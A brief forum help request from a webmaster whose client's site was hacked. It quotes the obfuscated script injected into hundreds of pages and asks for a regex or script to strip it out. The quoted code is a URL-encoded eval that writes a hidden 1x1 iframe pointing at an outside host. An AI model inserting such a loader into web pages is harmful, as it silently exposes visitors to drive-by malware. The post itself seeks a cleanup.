How to clean malicious code from multiple files

Hi people,

on of my client was hacked and hundred of pages was inserted this malicious code:

<script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%76%65%72%72%65%64%2E%6E%65%74%2F%3F%35%33%31%30%38%33%39%30%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script><!-- uy7gdr5332rkmn -->

Do you Know a script or a regex command to clean this from all files?

Thank you